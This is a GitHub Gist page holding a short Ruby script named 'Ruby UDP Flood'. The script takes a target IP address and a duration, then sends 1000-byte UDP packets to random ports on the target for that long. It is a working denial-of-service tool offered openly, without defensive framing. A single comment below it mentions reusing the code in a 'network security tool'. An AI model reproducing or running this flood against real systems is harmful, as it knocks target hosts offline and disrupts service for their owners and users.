Last active
July 19, 2018 01:42
-
-
Save Ninjex/9150549 to your computer and use it in GitHub Desktop.
Ruby UDP Flood
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
require 'socket' | |
if ARGV[0] == '-ip' then ip = ARGV[1] end | |
if ARGV[2] == '-t' then seconds = ARGV[3].to_i end | |
if ARGV[2].nil? || ARGV[2].empty? then abort "Usage: ruby flood.rb -ip <ip address> -t <time in seconds>" end | |
bytes = 'Z' * 1000 | |
def get_time(one, two) | |
(two - one).to_i | |
end | |
puts "UDP flooding IP: #{ip} for #{seconds} seconds!" | |
start = Time.now | |
while get_time(start, Time.now) <= seconds | |
sock = UDPSocket.new | |
if sock | |
sock.connect(ip, rand(65_000)) | |
sock.write(bytes) | |
sock.close | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hey! Thanks for this script. I modified the code a little and am including it in a personal-use network security tool. If you want the tool, get in touch and I will send it over to you.